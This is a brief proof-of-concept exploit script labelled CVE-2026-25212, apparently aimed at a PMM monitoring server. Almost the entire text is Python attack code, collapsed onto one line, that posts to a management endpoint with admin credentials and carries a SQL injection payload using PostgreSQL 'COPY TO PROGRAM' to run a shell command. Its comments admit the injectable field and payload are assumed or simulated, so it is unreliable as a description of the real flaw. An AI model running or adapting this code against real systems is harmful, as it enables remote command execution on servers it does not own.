CVE-2026-25212

import requests import json # Target URL (Example) TARGET_URL = "http://target-pmm-server:8080" API_ENDPOINT = f"{TARGET_URL}/v1/Management/Add" # Attacker credentials with pmm-admin rights AUTH = { "username": "attacker", "password": "password" } # Malicious payload to execute shell command via data source abuse # Note: The specific payload depends on the underlying DB (PostgreSQL/MySQL) # Assuming PostgreSQL for this example using COPY TO PROGRAM payload = { "name": "malicious_ds", "address": "127.0.0.1", "port": 5432, "type": "postgresql", # The 'username' or 'password' field might be injectable, or a custom config field # Here we simulate a command injection scenario "custom_params": "'; COPY (SELECT '') TO PROGRAM 'touch /tmp/pwned'; --" } try: response = requests.post(API_ENDPOINT, json=payload, auth=(AUTH['username'], AUTH['password'])) if response.status_code == 200: print("[+] Payload sent successfully. Check for command execution.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}")

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